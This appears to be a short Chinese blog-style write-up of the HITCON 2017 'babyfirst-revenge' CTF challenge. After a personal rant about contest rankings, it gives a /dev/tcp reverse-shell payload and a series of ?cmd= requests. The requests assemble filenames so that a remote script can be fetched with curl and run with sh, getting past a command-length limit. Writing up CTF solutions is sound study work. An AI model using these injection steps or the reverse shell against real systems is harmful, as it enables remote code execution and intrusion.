HITCON 2017 babyfirst-revenge（命令执行绕过四）

中午睡了一觉，醒来两点多了，发现几个群里又有人在黑我这个萌新菜比了.....然后用两个多小时ak了iscc放的题，这让我忍不住再次喷一波iscc...老子都ak了排名还5、60名...就因为昨天写红帽杯要交的wp没打....我真tm无语...算了算了不喷了。

开始今天的修炼！

在远程放好如下内容：

bash -c "bash -i >& /dev/tcp/vpsip/vpsport 0<&1 2>&1"

即可getshell。

开始操作！

写入 ls -t>g指令到_文件

?cmd=>ls\\ #创建ls\ ?cmd=ls>_ #创建 _ 文件 文件内容为_ \n ls\ \n ?cmd=>\ \\ #创建 \空格 文件 ?cmd=>-t\\ #创建 -t\ 文件 ?cmd=>\>g #创建 >g 文件 ?cmd=ls>>_ #将刚刚创建的文件名按照字典序写入_文件 这里的字典序是特殊符号在ls\的前面 所以在生成ls\之后我们要先ls>_ 保证ls\在最前面 sh _间接执行 ls -t>s //curl yourvps:port>a 一样的思路写进文件，然后sh执行。   弹shell。

这是第一种解法。

嗯，先睡了。